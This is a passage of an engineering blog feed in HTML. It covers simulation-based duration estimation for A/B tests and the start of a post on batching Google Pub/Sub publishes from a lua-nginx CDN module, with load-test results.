1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Duration estimation in extreme cases</h2> We perform several simulations to obtain a distribution of estimation using the following algorithm to get an estimate in extreme cases like 90/95 percentile <ol> <li>Estimate number of visitors using input <code class="language-text">CR</code>, improvement, number of variations, and the required threshold using analytical equations.</li> <li>Based on the estimated visitors per variation as the number of trials, perform Bernoulli trials, and obtain new conversion rate and improvement.</li> <li>Using the new conversion rate and improvement obtain an estimate of visitors using the analytical equation.</li> <li>Perform 2 and 3, 1000 times to obtain an estimated visitor distribution.</li> </ol> <h2 id="simulation-results" style="position:relative;"><a href="#simulation-results" aria-label="simulation results permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Simulation Results</h2> Notice how close the median of estimates from 1000 simulations is to the visitor estimate obtained from the analytical equation. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/bf1686f64e74b2ef464d4ae1876971fa/b5c21/sim-1.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 36.99421965317919%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABLElEQVQoz22Ru07DQBBF/aN8AjW/QEdP/gHRIEQFggqBKCJFFBGJrKwc2+skJn7t05fZ9SNGMNL1rK25Z2bHAdtyrMII4SYGizi2SQatDabRtq3P1loYkqV3d/4vAr47INvnkFKNH13xoAHmMs8OiGKO/LuAELKD9zWDAiEEdmkGl6uqAmMMSZrCGIOyaaC0Hhu5mryoIEuSUhAkJSWSOEYURd4TGGsIko7XHLq6aAg2BUopMF9zOggoqtH99A7kmnmgJsM6jKn4ZGz7XLsJeqD1ZoPZwwLLddI1IAAmUA+09Hh8W6IR+s+CpxMa2xnPr19wMXuGIJ+y7eTH2Q7o5rl5WuD1k+FY1iiq2o8vSUfaqVLq14RXtx84u7zz+f59hflXgk2aI4z3tCqDHyd/G2/PwsvcAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="sim 1" title="sim 1" src="/static/bf1686f64e74b2ef464d4ae1876971fa/1e043/sim-1.png" srcset="/static/bf1686f64e74b2ef464d4ae1876971fa/991de/sim-1.png 173w, /static/bf1686f64e74b2ef464d4ae1876971fa/e4d6b/sim-1.png 345w, /static/bf1686f64e74b2ef464d4ae1876971fa/1e043/sim-1.png 690w, /static/bf1686f64e74b2ef464d4ae1876971fa/e3189/sim-1.png 1035w, /static/bf1686f64e74b2ef464d4ae1876971fa/b1001/sim-1.png 1380w, /static/bf1686f64e74b2ef464d4ae1876971fa/b5c21/sim-1.png 2154w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <a class="gatsby-resp-image-link" href="/static/54f3ad5680379b063a413696df2706dc/aae30/sim-2.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 39.30635838150289%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABTElEQVQoz21SzU6DQBjkTT178E28efABfAUTNelBjybaeDHGptEWsAEKLcv+AruM30JRUt3whf2W+WZnJgTvyxBhnGAVJUizHbquw3SNvX9b6+DcUH4/xYy4IN8xSKV70BTg+ymwaVqEXymSNEdBM1yoH8x0LiiLPbQ2kEIgyzIkSQIlJZq2hTLmVyU9SmswxlErBU3fW6qKMURR1M/5C4I4TgcrnYMkIs45nLXweqUnnKiURMSYRFfXqA9nHltTbwhraR+8LiJIXeN4WRo4JixKjoeXNdA20Ic8R8deVE84e1ygkn8J/1O4J7tnl/f4iIu/eGcHwqubOW6fPmnQwVDwPjtvo6EaCd2BMC8rnJzf4fRihuvnFebLFOuU9Q65NEOGm2yPt/UWOyboUEFI3Wfi8/Q1/XUMnXvbmy1DmJbY5IwuESi5RFmJXsg3Wh9qGjI/Zt8AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="sim 2" title="sim 2" src="/static/54f3ad5680379b063a413696df2706dc/1e043/sim-2.png" srcset="/static/54f3ad5680379b063a413696df2706dc/991de/sim-2.png 173w, /static/54f3ad5680379b063a413696df2706dc/e4d6b/sim-2.png 345w, /static/54f3ad5680379b063a413696df2706dc/1e043/sim-2.png 690w, /static/54f3ad5680379b063a413696df2706dc/e3189/sim-2.png 1035w, /static/54f3ad5680379b063a413696df2706dc/b1001/sim-2.png 1380w, /static/54f3ad5680379b063a413696df2706dc/aae30/sim-2.png 2080w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <a class="gatsby-resp-image-link" href="/static/90dc9eb59976f25d3d595f246a631851/8170e/sim-3.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 35.83815028901734%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABXUlEQVQoz11Ry07DMBDMH/I5XJD4g944IW4cUAUXoCcOUESlIl4qRYW2lBQoadKGJHUSO4ntDI6TFMRKK0vrmdkZ2zDfLYzNGSzbXXeacfytPM/1GUYUXkAQUQbKEkgp8b+MKGYIghXSNFVEqUGccyRJAkophBBrMAljLJYeojBUgkxxsjU2iiKtYWRZhoXjIku5dsKUO6FEySqAbdsaXJeUAoQmCDwCLkqc5qjFjuOAEAJD8AydhwlIXBIToVxWEWu3ZWw9wf3EwfmdiTBJISpcXakyZ+SS4+DsET5hlaAoBVUXcYsEWqoit25MbO5eovNsIYhTOD6tX1phVeRi69ZeG82rVz2mXKrNv1trh0KWw51WHxvbx9hvj9Cbehh8+uquUFGfpv7DQC5wdNFH4/AavfEXnt4svEzncD0fnmrG2B+HOU66IzSaXZx2h7gdzjAwbXzMXSy/fQQkxg+TpRVgGKjo5gAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="sim 3" title="sim 3" src="/static/90dc9eb59976f25d3d595f246a631851/1e043/sim-3.png" srcset="/static/90dc9eb59976f25d3d595f246a631851/991de/sim-3.png 173w, /static/90dc9eb59976f25d3d595f246a631851/e4d6b/sim-3.png 345w, /static/90dc9eb59976f25d3d595f246a631851/1e043/sim-3.png 690w, /static/90dc9eb59976f25d3d595f246a631851/e3189/sim-3.png 1035w, /static/90dc9eb59976f25d3d595f246a631851/b1001/sim-3.png 1380w, /static/90dc9eb59976f25d3d595f246a631851/8170e/sim-3.png 2132w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h2 id="duration-calculator-revenue" style="position:relative;"><a href="#duration-calculator-revenue" aria-label="duration calculator revenue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Duration Calculator Revenue</h2> We have built the duration calculator for revenue using the same principles described above. The only difference would come in the computation of the standard deviation of the data distribution. We will use the following analytical form of the standard deviation: $$\sigma^2 = CR * \sigma_Z^2 + CR*(1-CR)*\mu_Z^2$$ <code class="language-text">Z</code> is a random variable used to represent revenue per sale distribution. <h2 id="simulation-results-1" style="position:relative;"><a href="#simulation-results-1" aria-label="simulation results 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Simulation Results</h2> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/ea9a94da82743b59d689353ee2d26262/b5c21/sim-4.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 38.72832369942196%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABcElEQVQoz11RTUvDQBDNn/Im/hD/gwgi+CM8e/TmQagg7VWsokUvIhJUrNXSNCb9SNKmTbK7ySZ5ziZNtB0YZpideW/erDZxZhiYI1gjByqfuvPCvdkCOUrL8zJL0xRJIhGTZ1m29laZ5ng+XHLGBTZNDamBakj1fvV/0DdsBBGr+4oeRUBRi+MEi9kcnHFiTmiDpI6REEikXCNgnENQXXIGf05qplMwxoo+RnVNbeZOvQJ904SS+A9QUs4Fx+O7Dc9dELHAnEAlkasDhBXg0JwglemaBGWcACpAVcmzFIswwu7xFZqdbl0v7pvlhSKSHEP/MIk9+7vbqimmvAYsEWE5PraPLrF30kYg5LoimUAjCLTu3tC3XPAogGEYsG27uJMfBCSx/KxstfVzb4ytgwvsHDawf/qAs9tP6AMPY59hSGSaksfpY5bLAGEUIQxDBARURbECrM5gjj0071/RIj9v62jc6Lh+6qLz0sO35eAXRxVhuv/Qeo8AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="sim 4" title="sim 4" src="/static/ea9a94da82743b59d689353ee2d26262/1e043/sim-4.png" srcset="/static/ea9a94da82743b59d689353ee2d26262/991de/sim-4.png 173w, /static/ea9a94da82743b59d689353ee2d26262/e4d6b/sim-4.png 345w, /static/ea9a94da82743b59d689353ee2d26262/1e043/sim-4.png 690w, /static/ea9a94da82743b59d689353ee2d26262/e3189/sim-4.png 1035w, /static/ea9a94da82743b59d689353ee2d26262/b1001/sim-4.png 1380w, /static/ea9a94da82743b59d689353ee2d26262/b5c21/sim-4.png 2154w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h2 id="summary" style="position:relative;"><a href="#summary" aria-label="summary permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Summary</h2> Sample Size calculators can prove to be very helpful in planning the time and resources to invest in a statistical test. The analytical form of equations proposed in this blog provides a general framework to obtain duration estimation for any parametric model used to measure the effect in an A/B test. This is just one way that we are improving the experimentation experience at VWO. As the next steps, we plan to integrate it with the VWO app to obtain more realistic estimates in a test while it is running. <h2 id="useful-resources" style="position:relative;"><a href="#useful-resources" aria-label="useful resources permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Useful resources</h2> <ul> <li><a href="https://uu.diva-portal.org/smash/get/diva2:816639/FULLTEXT01.pdf">Derivation of Standard Deviation of Data Distribution in Revenue Calculator</a></li> <li><a href="https://towardsdatascience.com/the-art-of-a-b-testing-5a10c9bb70a4">The art of A/B testing</a></li> </ul></content:encoded><author>Anshul Gupta</author></item><item><title><![CDATA[A lua-nginx Client for Pub/Sub]]></title><description><![CDATA[Introduction Lua as a part of the OpenResty package, is extensively used in our in-house Dynamic CDN (DACDN) module. CDN generally is used…]]></description><link>https://engineering.wingify.com//posts/a-lua-nginx-client-for-pubsub/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/a-lua-nginx-client-for-pubsub/</guid><pubDate>Fri, 04 Dec 2020 00:00:00 GMT</pubDate><content:encoded><h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> Lua as a part of the OpenResty package, is extensively used in our in-house <a href="https://engineering.wingify.com/posts/dynamic-cdn/">Dynamic CDN (DACDN)</a> module. CDN generally is used for quick content delivery but our in-house CDN works both as content delivery as well as a data acquisition service for gathering copious amounts of data of our client's visitors. Since the collection of data at a high throughput requires a sophisticated queue mechanism, therefore, one of the core parts of our DACDN is to publish packets to <a href="https://cloud.google.com/pubsub/docs/overview">Google Cloud Pub/Sub</a>. Pub/Sub lets any number of publishers publish data, ideally to a topic, which could be subscribed to by any number of subscribers. This messaging queue was an ideal choice for us since it can accept publish throughput up to 200 MB/s and subscriber throughput up to 400 MB/s. It can retain unacknowledged data for 7 days, can provide reliability through application-level acknowledgments, and is based on “at-least-once” delivery semantics. Pub/Sub also comes with an ability to store attributes which is for storing metadata of a payload in a key-value format. Some other perks we enjoyed with Pub/Sub are: <ul> <li>Global availability: Pub/Sub acts as a global service and is available in all Google Cloud Zones; transferring data between our data centers wouldn’t be through our regular internet provider but would use the underlying Google network.</li> <li>A simple REST API: Since there is no library for Pub/Sub in Lua, we can quickly write our own publisher/subscriber by using their REST APIs.</li> <li>Self Managed: There was no need to create a capacity model or deployment strategy or to set up monitoring and alerting.</li> </ul> <h2 id="problem" style="position:relative;"><a href="#problem" aria-label="problem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Problem</h2> The challenge arises when the lua-nginx module by default does not provide a way to push messages to Pub/Sub. Google Pub/Sub provides support for executing HTTPS requests for publishing messages. Still, Lua out of the box does not provide an interface for making external HTTP requests. So, there is a well-maintained library called <a href="https://github.com/ledgetech/lua-resty-http">lua-resty-http</a> which helps us for doing the same. Using this library still doesn’t fix our problems completely. We need to come up with a solution that can handle a throughput of 30k requests/sec while maintaining non-blocking behavior. For handling such high throughput we can’t just pick one packet and execute a new HTTP request for the same, this would be highly unoptimized which would result in an increase in response time. Hence, we need to design a solution that could meet our requirements. <h2 id="approaches" style="position:relative;"><a href="#approaches" aria-label="approaches permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Approaches</h2> <ol> <li> Brute-force Approach <ul> <li>For every request we receive at the DACDN end, we can form a payload out of it and then can execute HTTP requests for each of them separately. Though this approach is easy to Implement and highly intuitive, a highly blocking behavior will be experienced at the request sender's end, thereby increasing response time. High machine configs with more workers can overcome this, but it will ultimately lead to a higher system cost. Also, as per this <a href="https://cloud.google.com/pubsub/pricing#message_ingestion_and_delivery">Google Doc</a>: “A minimum of 1000 bytes per publish, push or pull request is assessed regardless of message size.” This implies that messages smaller than 1000 bytes are still billed for a whole 1000 bytes therefore also being cost-ineffective.</li> </ul> </li> <li> Optimized Approach <ol> <li> Techniques that work for us in optimizing the publish rate <ol> <li> Data Batching at Worker level using timers: This methodology reduced our response time by 3x when compared to publishing messages without it. Even this <a href="https://cloud.google.com/pubsub/pricing#message_ingestion_and_delivery">Google Doc</a> advises pushing bulk data in publish requests for reducing cost. The idea is pretty simple but immensely effective. Steps are as follows: <ol> <li>Accept the incoming request and form a data packet out of it</li> <li>Add this data packet in a buffer which is nothing but a Lua table that is used to hold packets for a while</li> <li> As soon as the batch size is reached: <ol> <li>Initialize a timer that will work outside the worker context giving it a non-blocking characteristic.</li> <li>In this timer context, create a batch of data for the HTTP request body.</li> <li>Use the keep-alive property of HTTP connection reuse for getting the connection from the connection pool, if not present then a new connection will be automatically created.</li> <li>Use the connection and request body to execute an HTTPS request for publishing packet</li> <li>Remove the packets from the buffer that were successfully sent</li> </ol> </li> <li>Above process repeats itself as the new data keeps on coming</li> </ol> </li> <li>Connection Reuse or HTTP keep-alive: HTTP keep-alive, or HTTP connection reuse, is the idea of using the same TCP connection to send and receive multiple HTTP requests/responses, as opposed to opening a new one for every single request/response pair. It enhances HTTP performance by using less network traffic due to fewer setting up and tearing down of TCP connections and reducing latency on subsequent requests due to avoidance of initial TCP handshake.</li> </ol> </li> <li> Edge Case <ul> <li>There can be a scenario where a certain topic’s batch is never going to be full or maybe filled very slowly due to low throughput. So, in that case, we also need to run a recursive nginx timer in the background that will be repeatedly fired up in a specific interval of time and will be responsible for checking any stale data present in the buffer. If yes, then create a batch of those remaining data and push them immediately to Pub/Sub.</li> </ul> </li> <li> Architecture <ul> <li>Here is a very high-level overview of what is going on behind the scenes:</li> </ul> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/9097d8e2fa87f7f743cf779114358d78/4b190/lua-resty-pubsub-architecture.jpg" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 87.86127167630057%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAASABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAMBAgT/xAAXAQEBAQEAAAAAAAAAAAAAAAAABAEC/9oADAMBAAIQAxAAAAHaQ9FU0muk+g6GP//EABsQAAEFAQEAAAAAAAAAAAAAAAEAAhESMgMh/9oACAEBAAEFAvEa2fAKLpL5sm66a//EABYRAAMAAAAAAAAAAAAAAAAAAAABEP/aAAgBAwEBPwGs/8QAFxEBAQEBAAAAAAAAAAAAAAAAAQAQMf/aAAgBAgEBPwFjDl//xAAaEAACAgMAAAAAAAAAAAAAAAAAARAhETFR/9oACAEBAAY/Ati4VCwXCj//xAAeEAACAgEFAQAAAAAAAAAAAAABEQAhMRBBUXGhsf/aAAgBAQABPyGiTPNQUgRyVwETYgowm65FCdzp6J85/9oADAMBAAIAAwAAABBsBz//xAAWEQEBAQAAAAAAAAAAAAAAAAAAATH/2gAIAQMBAT8Qi6mtP//EABcRAAMBAAAAAAAAAAAAAAAAAAABMRH/2gAIAQIBAT8QR6QOEj//xAAcEAEAAwEAAwEAAAAAAAAAAAABABEhMRBRgaH/2gAIAQEAAT8QRMymqVBjS6RT8inEmvuJBOjcDV2WBsNyxQUiOfPDRxppyJdK47P/2Q==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="lua resty pubsub architecture" title="lua resty pubsub architecture" src="/static/9097d8e2fa87f7f743cf779114358d78/15ec7/lua-resty-pubsub-architecture.jpg" srcset="/static/9097d8e2fa87f7f743cf779114358d78/9ac50/lua-resty-pubsub-architecture.jpg 173w, /static/9097d8e2fa87f7f743cf779114358d78/8d48c/lua-resty-pubsub-architecture.jpg 345w, /static/9097d8e2fa87f7f743cf779114358d78/15ec7/lua-resty-pubsub-architecture.jpg 690w, /static/9097d8e2fa87f7f743cf779114358d78/4b190/lua-resty-pubsub-architecture.jpg 800w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> </ol> </li> </ol> <h2 id="lets-proceed-to-the-fun-part---benchmarking" style="position:relative;"><a href="#lets-proceed-to-the-fun-part---benchmarking" aria-label="lets proceed to the fun part benchmarking permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Let’s proceed to the fun part - Benchmarking</h2> The first thing we did was to test the optimized solution with Cloud Pub/Sub to see if it could handle the anticipated load. The primary purpose was to compare how our optimized approach performs against a simple initial brute-force approach. Our hope from this solution was that the system would be able to handle this traffic from the producer for a long time, without degrading the service. With our new client in place, we were ready to start pushing some serious load to Pub/Sub. We used JMeter scripts with Taurus as a Load Testing tool to send mock traffic through our DACDN to Pub/Sub. Following machine configs were used while the load test was carried out: <ul> <li>DACDN: 16 vCPUs, 16GB RAM</li> <li>JMeter Machine: 18 vCPUs, 33 GB RAM</li> <li>Average Packet Size: 1KB</li> </ul> Note: All these configurations were kept identical before running load tests on two solutions. Here are the screenshots for Performance Testing Report and Stackdriver monitoring charts for the same load throughput but one without optimization and another with one. <ol> <li> Figure 1: Performance Testing Report when load sent to brute-force solution <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/4f3eff6d5cc5cfd72c9998766dba4834/29007/lua-resty-pubsub-figure1.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.28901734104046%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsSAAALEgHS3X78AAABTElEQVQoz11Ri27DMAjM/3/m1K5dHk1iMNiA3V2aTtqGThiHx+HLkLWK1mJe6hvV3Dyqt3r4nwAFJ84yc60+iGiptbVn7/35MosnactZkMLcDC8a7UjD4UCAAwTDSvZI6h5J9LKMDyJeU9pIiolq2mdixfjMC8aBk6muG2sxLT5sbFvKIOQi07aQZieqnI81eiv8AHlvUWRhzuAQqvtOLZp7GywaEZlZxuurnctjVSbOpqNux5D3g/4YGgesjrXQ4+6KqJRXde+tOQjDztKIgAjV3leMO97sEeYtibE6iW2k8PS6toYJPUtlscRlWWknRQxAfAczBNxz+RjpMvFlyi8cwXVOp7LjLJ9jvo18n+Q+MYLrF2cxNB7NEO8y1vsct9l/ELdFsDravxb/9f3AdfKsDTZANJI6rnXe7Dceu0V0j77s9i81rfiLgcZvOnxDHahb2lwAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="lua resty pubsub figure1" title="lua resty pubsub figure1" src="/static/4f3eff6d5cc5cfd72c9998766dba4834/1e043/lua-resty-pubsub-figure1.png" srcset="/static/4f3eff6d5cc5cfd72c9998766dba4834/991de/lua-resty-pubsub-figure1.png 173w, /static/4f3eff6d5cc5cfd72c9998766dba4834/e4d6b/lua-resty-pubsub-figure1.png 345w, /static/4f3eff6d5cc5cfd72c9998766dba4834/1e043/lua-resty-pubsub-figure1.png 690w, /static/4f3eff6d5cc5cfd72c9998766dba4834/e3189/lua-resty-pubsub-figure1.png 1035w, /static/4f3eff6d5cc5cfd72c9998766dba4834/b1001/lua-resty-pubsub-figure1.png 1380w, /static/4f3eff6d5cc5cfd72c9998766dba4834/29007/lua-resty-pubsub-figure1.png 1600w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> <li> Figure 2: Performance Testing Report when load sent to an optimized solution <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/f8883c507583e2d6124eb2c3ef06ae3e/29007/lua-resty-pubsub-figure2.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 53.17919075144509%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsSAAALEgHS3X78AAABkUlEQVQoz4VQ224TMRDd7y+opbRJRSMFeOGBB34E8QU8oNA0aXazu/Z4PLZnbC+zSwUSqoR1NDqeOXNtPn3+snq3vbi8ef1m9erq9u16c7f5sL5/r7jbqP243d7/+Hb5/ev17frm4mqlsj9oSq3T/57UKb/kb0JMIbKCU2bOSs7Ag8HR2NE6A0rAE7FITLMsJiWiBH1ozjZMtUaWXX98sj05pLbLpZQ6pdATOSmTxMF7kJy1AQwBHKpASzQWUJVJZADjPBaWCI5ZJ51iAERUntl7xBhjzgUdkadaa2JpjLUUgg6GDoVl3jDncTQ654GGVGbPi2eZk1WqMa0kIkS0+GetNpHye/z5ofcWQCvWpZa652SKcXDBICtGiAaTEue1lB64UhTjogU/WhqM5gcLBBjmTTk3SGl3gl1rH1q37/xDCz9b2HdOB9KGgPHxhIcWj61f4A4n0q+W1lM0FOqhk+OZF8gC3ncUEmuy83mJ5udQP9vHjhPrmrnxoXSjnM1f9LNNFFMtE1L+J6pQT0wlpfwLZvRnBQvXcZ8AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="lua resty pubsub figure2" title="lua resty pubsub figure2" 